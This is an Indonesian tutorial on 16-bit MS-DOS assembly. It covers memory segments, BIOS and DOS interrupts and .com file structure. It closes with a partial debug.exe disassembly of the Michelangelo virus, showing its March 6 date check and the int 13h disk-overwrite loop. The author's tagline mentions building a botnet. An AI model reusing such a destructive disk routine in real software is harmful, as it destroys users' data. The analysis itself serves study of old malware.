pemrograman di ms dos dengan assembly 16 bit
by: mywisdom a.k.a m0nk3y
"I'm recalling back my old skills while making a future botnet"
content:
* int 10h
* int 21h
* int 5h
* psp dan file berekstensi .com
* debug virus dengan debug.exe (sample virus : michael angelo 6 maret
1992)
asm 16 bit sangat berguna krn bisa digunakan dalam pemrograman
mikrokontroller.
tool2 yang diperlukan:
- turbo assembler - untuk mengassemble
- turbo linker - untuk linking
* segment dan offset
tiap sistem operasi memiliki manajemen memori yg berbeda, jika di linux /
unix tidak dikenal
adanya segmen dan offset berbeda dg di ms dos, dikenal adanya segmen dan
offset untuk
segmentasi memori.
formatnya adl:
[alamat segmen]:[alamat offset]
segment digunakan untuk mengakses memori max 1 mb
offset merupakan 1 page sebesar 64 kb\
untuk mendapatkan alamat memori absolut:
(alamat segmen * 10h)+alamat_offset
misal:
1A42:38A7
1A42 adl alamat segmen dan 38a7 adl alamat offset
alamat absolutnya adalah : 1dcc7
--------------------------------
(1A42 * 10)+38a7=1dcc7
--------------------------------
(dalam hex)
==========int 10h
digunakan untuk permainan video bios.
* int 10h fungsi 00h
digunakan untuk mengatur modus video
coba perhatikan table di bawah ini:
Mode Type Max Colors Size Resolution Max Pages Base Addr
---- -------- ---------- ----- ---------- --------- ---------
00 Text 16 40x25 - - 8 B8000h
01 Text 16 40x25 - - 8 B8000h
02 Text 16 80x25 - - 4,8 B8000h
03 Text 16 80x25 - - 4,8 B8000h
04 Graphics 4 40x25 320x200 1 B8000h
05 Graphics 4 40x25 320x200 1 B8000h
06 Graphics 2 80x25 640x200 1 B8000h
07 Text Mono 80x25 - - 1,8 B0000h
08 Graphics 16 20x25 ? ? 1 B0000h
09 Graphics 16 40x25 ? ? 1 B0000h
0A Graphics 4 80x25 ? ? 1 B0000h
0B - - - - - - - - - -
0C - - - - - - - - - -
0D Graphics 16 40x25 320x200 8 A0000h
0E Graphics 16 80x25 640x200 4 A0000h
0F Graphics Mono 80x25 640x350 2 A0000h
10 Graphics 16 80x25 640x350 2 A0000h
11 Graphics 2 80x25 640x480 1 A0000h
12 Graphics 16 80x25 640x480 1 A0000h
13 Graphics 256 40x25 320x200 1 A0000h
contoh:
modus video grafik (size: 40x25 , resolusi 320x200, modus grafik,dengan
jumlah warna 4)
--------
.model small
.stack
.code
main proc
mov ah,00h
mov al,04h
int 10h
int 20h
main endp
end main
---------------------
contoh lain:
--------
.model small
.stack
.code
main proc
mov ah,00h
mov al,06h
int 10h
int 20h
main endp
end main
---------------------
============== interup 21 hexa
merupakan interup yang banyak dipakai berfungsi utk input dan output dan
beberapa operasi
lainya
di ms dos.
berikut ini contoh program dengan interup 21 hexa fungsi 9hexa:
-------------------------
.model small
.stack
.data
output db "contoh interup 21 h fungsi 9 h", "$"
.code
main proc
mov ah,09
mov dx,offset output
int 21h
mov ax,4c00h
int 21h
main endp
end main
-----------------------------
save dg nama out.asm lalu kompile dan link:
tasm out.asm
tlink out.obj
- sample kedua interup 21 h fungsi 9 h untuk menampilkan output :
--------------------------------
.model small;direktif model memori
.stack
.data
output db "contoh interup 21 h fungsi 9 h", "$" ;define byte
.code
main proc ;prosedur atau makro dimulai
mov ax,seg output ; pointer ke segment output disimpan di ax
mov ds,ax ; selanjutnya ax disave di ds
mov ah,9h ; int 21 h fungsi 9 h
lea dx,output ; load alamat efektif ke dc
int 21h;panggil om ms dos
mov ax,4c00h
int 21h ;interup 21 h fungsi 4c00h utk kembali ke ms dos
main endp ; akhir prosedur
end main
-------------------------------
simpan dengan nama: output.asm lalu kompile di ms dos dengan tasm dan
tlink:
--------------------------------------
C:\DOCUME~1\BATMAN\ASM>tasm output.asm
Turbo Assembler Version 4.1 Copyright (c) 1988, 1996 Borland
International
Assembling file: output.asm
Error messages: None
Warning messages: None
Passes: 1
Remaining memory: 452k
C:\DOCUME~1\BATMAN\ASM>tlink output.obj
Turbo Link Version 7.1.30.1. Copyright (c) 1987, 1996 Borland
International
C:\DOCUME~1\BATMAN\ASM>
-----------------------------------------
setelah itu akan tercipta suatu file dengan nama output.exe
contoh jika dijalankan akan menampilkan output :
----------------------
C:\DOCUME~1\BATMAN\ASM>output
contoh interup 21 h fungsi 9 h
C:\DOCUME~1\BATMAN\ASM>
------------------------
*. mendebug output.exe dengan debug.exe
ketikkan debug.exe output.exe
------------------------------
C:\DOCUME~1\BATMAN\ASM>debug output.exe
------------------------------
dari debug.exe prompt ketikkan : u untuk melihat kinerja program:
--------------------------------
C:\DOCUME~1\BATMAN\ASM>debug output.exe
-u
0BC8:0000 B8CA0B MOV AX,0BCA
0BC8:0003 8ED8 MOV DS,AX
0BC8:0005 B409 MOV AH,09
0BC8:0007 BA0000 MOV DX,0000
0BC8:000A CD21 INT 21
0BC8:000C B8004C MOV AX,4C00
0BC8:000F CD21 INT 21
0BC8:0011 0000 ADD [BX+SI],AL
0BC8:0013 0000 ADD [BX+SI],AL
0BC8:0015 0000 ADD [BX+SI],AL
0BC8:0017 0000 ADD [BX+SI],AL
0BC8:0019 0000 ADD [BX+SI],AL
0BC8:001B 0000 ADD [BX+SI],AL
0BC8:001D 0000 ADD [BX+SI],AL
0BC8:001F 00636F ADD [BP+DI+6F],AH
--------------
di atas terlihat pointer ke segmen dengan alamat 0BCA disimpan ke register
ax, di tengah adalah
instruksi
berupa hexa
\xB8\xCA\x0B = MOV AX,0BCA
mari kita lihat segmen 0BCA mulai dari ofset 0000:
-d 0bca:0000
0BCA:0000 63 6F 6E 74 6F 68 20 69-6E 74 65 72 75 70 20 32 contoh
interup 2
0BCA:0010 31 20 68 20 66 75 6E 67-73 69 20 39 20 68 24 41 1 h fungsi 9
h$A
0BCA:0020 83 46 F2 06 81 F9 00 02-7C E3 C4 5E FA 26 8B 47
.F......|..^.&.G
0BCA:0030 02 26 8B 17 89 46 FC 89-56 FA 8B 46 FA 0B 46 FC
.&...F..V..F..F.
0BCA:0040 75 B8 6A 00 68 04 0C 6A-02 6A 00 6A 00 16 8D 46
u.j.h..j.j.j...F
0BCA:0050 FE 50 90 0E E8 02 90 0B-C0 75 90 8B 46 FE 89 46
.P.......u..F..F
0BCA:0060 F8 C7 46 F6 00 00 C4 5E-F6 26 C7 47 02 00 00 26
..F....^.&.G...&
0BCA:0070 C7 07 00 00 33 C9 8B 46-F8 8B 56 F6 83 C2 04 89
....3..F..V.....
-
mulai alamat offset 0000 s/d alamat offset 0010 string yg kita define
dimuat.
perhatikan hasil perbandingan debug dari program pertama dan progra kedua:
program pertama dijalankan tanpa menggunakan segmen register :
C:\DOCUME~1\BATMAN\ASM>out.exe
junk junk junk contoh interup 21 h fungsi 9 h
C:\DOCUME~1\BATMAN\ASM>
dan program kedua melibatkan segmen register:
mov ax,seg output
mov ds,ax
mov ah,9h
mov dx,offset output ;atau bisa juga ditulis lea dx,output
int 21h
* interup 21 h fungsi 1h
interup ini digunakan membaca keyboard input dari user
--------------
mov ah, 1h
int 21h
--------------
contoh:
--------------
.model small
.stack
.code
main proc
mov ah, 1h
int 21h
mov dl, al
mov ah, 2h
int 21h
mov ax,4c00h
int 21h
main endp
end main
---------------
simpan dg nama input.asm lalu assemble dan link:
tasm input.asm
tlink input.obj
untuk memanggil interup 21 h fungsi 1h kita simpan 1h di register ah:
mov ah, 1h
selanjutnya kita call dos interrupt untuk menerima input keyboard:
int 21h
--------
mov dl, al
mov ah, 2h
int 21h
--------
di sini kita panggil interup 21 h fungsi 2 h untuk menampilkan char
kembali ke layar
dan sebelum akhir makro kita gunakan interup 21 h fungsi 4c00h untuk
kembali ke ms dos
* perbedaan operasi register segmen dan register akumulator
di register akumulator kita bisa langsung memindahkan isi register yang
satu ke register yang
lain, untuk register segment tidak bisa dilakukan secara langsung, segment
register digunakan
untuk mengakses memori.
contoh:
-----------------
mov bx, 2;bx=2h , bx=0010
mov cx, bx;selanjutanya kita mengkopi isi register bx ke cx
-------------------
sedangkan untuk register segmen kita tidak bisa langsung mengkopi isi
register yang 1 ke
register yang lain. berikut ini contoh cara mengkopi antar segmen register
di mana kita ingin
memindahkan isi cs ke ds:
---------------
push cs
pop ds
---------------
push cs akan memindahkan isi cs ke stack, selanjutnya dilakukan pop ds
untuk mengambil isi
stack ke ds
* membuat file dengan int 21h fungsi 3ch
selanjutnya kita akan mencoba membuat file dengan int 21h fungsi 3ch
seperti int 21 h lainya, syaratnya adalah: ah diisi 3ch
- bagaimana mengeset file atribut???
mov cx, 0h - digunakan untuk atribut file normal
mov cx, 1h - berarti file yg diciptakan adl read only (attrib + r)
mov cx, 2h - untuk file hidden (attrib +h)
mov cx, 4h - atribut file sistem
mov cx, 7h - atribut hidden + sistem + read only (4h + 2h + 1h)
----------------------------
.model small
.stack
.data
output db "ada kesalahan, gagal menciptakan file x", "$"
filename db "x", 0
handle dw 0
.code
main:
mov dx, offset filename
mov cx, 0 ; atribut normal
mov ah, 3Ch
int 21h
jc gagal; jika flag nya carry berarti gagal
mov handle, ax
jmp short gagal
gagal proc
mov ax,seg output
mov ds,ax
mov ah,9h
mov dx,offset output
int 21h
mov ax,4c00h
int 21h
gagal endp
end main
------------------------
atau bisa juga dengan debug.exe kita tulis instruksi assembler:
--------------------------
C:\DOCUME~1\batman>debug
-a 100
0B41:0100 mov ah,3c
0B41:0102 mov cx,0
0B41:0105 mov dx,0108
0B41:0108 db "C:\Documents and Settings\batman\asm\dom.txt",00
0B41:0135 int 21
0B41:0137 int 20
-name dom.com
-r cx
CX 0000
:02d
-w
Writing 0002D bytes
-q
------------------------------
-a 100 berarti kita mulai dari offset 100 untuk file ekstensi .com (org
100h)
-ah =3c=int 21 h gunsi 3c
mov dx,0108--- dx merupakan pointer ke alamat offset 0108 (db
"C:\Documents and
Settings\batman\asm\dom.txt",00)
selanjutnya kita beri nama file dg dom.com
r cx digunakan utk file size
selanjutnya kita write dengan w
dan q untuk keluar
* interup 21 h fungsi 2ah
interup 21 h fungsi 2ah digunakan untuk mendapatkan tanggal hari ini,
dengan syarat ah diisi
2ah
---------------------
MOV AH,2AH
INT 21H
---------------------
selanjutnya hasilnya aka tersimpan di beberapa register:
----------------------
cx berisi tahun
dh berisi bulan
dl berisi hari
al berisi angka 0-6 (hari dalam 1 minggu)
-------------------------
untuk daftar interup 21 h bisa dilihat di
http://www.ctyme.com/intr/int-21.htm
=========psp untuk file com
setiap program berekstensi .com saat akan dijalankan maka pertama 2 ms dos
akan membuat suatu
psp dari alamat offset 0000 s/d alamat offset 0100.
psp merupakan header berukuran 256 byte (100 hexa) yang akan disiapkan
tiap file com
dijalankan.psp akan dibuat tiap kali program dengan ekstensi .com
dijalankan, setelah itu
program .com tersebut diletakkan di atas psp baru dijalankan dari awal,
makanya setiap kali
kita akan membuat program berekstensi .com dengan assembly selalu
menggunakan org 100h yang
artinya file diletakan mulai segmen 100 h.
kalo gak salah inget besar file .com gak boleh lebih dari 64 kb.
oki tiap kita akan membuat program berekstensi .com dengan assembly selalu
menggunakan org 100h
berikut ini gambaran kasar saat suatu file berekstensi .com dijalankan:
max file size utk .com klo ga salah inget ga boleh lebih dari 64 kb
berikut ini contoh suatu struktur kode asm untuk program berekstensi .com
:
filename: x100.asm
------------
code_seg segment
assume cs:code_seg
org 100h
mulai: jmp pesan
pes db 'contoh program com by dom dom,13,10
pesan: mov ah,09h
mov dx,offset pes
int 21h
code_seg ends
end mulai
----------------
simpan dg nama file x100.asm ,untuk melakukan kompile menjadi .com
tambahkan opsi /t di turbo
linker:
tasm x100.asm
tlik /t x100.obj
======int 5h
int 5h digunakan untuk melakukan print screen
---------------------
code_seg segment
assume cs:code_seg
org 100h
mulai:
int 5h
code_seg ends
end mulai
-----------------------
interup 5 hex dieksekusi tanpa parameter
=========debugging virus assembly berbentuk executable
berikut ini kita akan coba mendebug virus michael angelo yang akan aktif
untuk merusak tiap
tanggal 6 maret , yup tanggal 6 maret 1992 virus ini sangat terkenal
dengan aksi timing bombnya
yg merusak, mari kita lihat rutin timing bomb:
part 1. debug virus michael angelo yang heboh baru2 ini (6 maret 1992)
C:\DOCUME~1\batman\MYDOCU~1\DOWNLO~1\VIRUS_~1>debug MICHELAN.COM
-u 023E
0BB9:023E 33C9 XOR CX,CX
0BB9:0240 B404 MOV AH,04
0BB9:0242 CD1A INT 1A
0BB9:0244 81FA0603 CMP DX,0306
0BB9:0248 7401 JZ 024B
0BB9:024A CB RETF
0BB9:024B 33D2 XOR DX,DX
0BB9:024D B90100 MOV CX,0001
0BB9:0250 B80903 MOV AX,0309
0BB9:0253 8B360800 MOV SI,[0008]
0BB9:0257 83FE03 CMP SI,+03
0BB9:025A 7410 JZ 026C
0BB9:025C B00E MOV AL,0E
-
kita langsung ke offset 023E, di situ dimulai aksi timing bomb dari virus
michael angelo
0BB9:0244 81FA0603 CMP DX,0306
sebelumnya pada offset 0240 dan 0242 virus ini mengeksekusi interup 1a
fungsi 4 hexa
di mana interup 1a fungsi 4 hex akan mengembalikan data ke register2 ini:
CH = century in BCD (decimal 19 or 20)
CL = year in BCD
DH = month in BCD
DL = day in BCD
CF = 0 if successful
dan dx akan berisi bulan dan tanggal, misal: 0306
rutin selanjutnya yang dieksekusi adl compare dengan nilai 0306:
0BB9:0244 81FA0603 CMP DX,0306
selanjutnya diikuti jz ke alamat offset 024b jika flag zero :
0BB9:0248 7401 JZ 024B
selanjutnya kita lacak ke offset 024b:
------------------------------------
-u 024b
0BB9:024B 33D2 XOR DX,DX
0BB9:024D B90100 MOV CX,0001
0BB9:0250 B80903 MOV AX,0309
0BB9:0253 8B360800 MOV SI,[0008]
0BB9:0257 83FE03 CMP SI,+03
0BB9:025A 7410 JZ 026C
0BB9:025C B00E MOV AL,0E
0BB9:025E 83FE0E CMP SI,+0E
0BB9:0261 7409 JZ 026C
0BB9:0263 B280 MOV DL,80
0BB9:0265 C606070004 MOV BYTE PTR [0007],04
0BB9:026A B011 MOV AL,11
-u
0BB9:026C BB0050 MOV BX,5000
0BB9:026F 8EC3 MOV ES,BX
0BB9:0271 CD13 INT 13
0BB9:0273 7304 JNB 0279
0BB9:0275 32E4 XOR AH,AH
0BB9:0277 CD13 INT 13
0BB9:0279 FEC6 INC DH
0BB9:027B 3A360700 CMP DH,[0007]
0BB9:027F 72CF JB 0250
0BB9:0281 32F6 XOR DH,DH
0BB9:0283 FEC5 INC CH
0BB9:0285 EBC9 JMP 0250
0BB9:0287 B90700 MOV CX,0007
0BB9:028A 890E0800 MOV [0008],CX
-
----------------------------------
coba perhatikan pada offset 0271 dan offset 0277 ada pemanggilan interup
yang menarik: int 13h
0BB9:0271 CD13 INT 13
dan
0BB9:0277 CD13 INT 13
pada offset 0275 virus mereset ah ke 0
0BB9:0275 32E4 XOR AH,AH
di sini eksekusi int 13h fungsi 00 untuk mereset disk system.
0BB9:0277 CD13 INT 13
sebenarnya jika ingin dianalisis masih
panjang , jadi akan sy lanjutkan lain waktu, see u later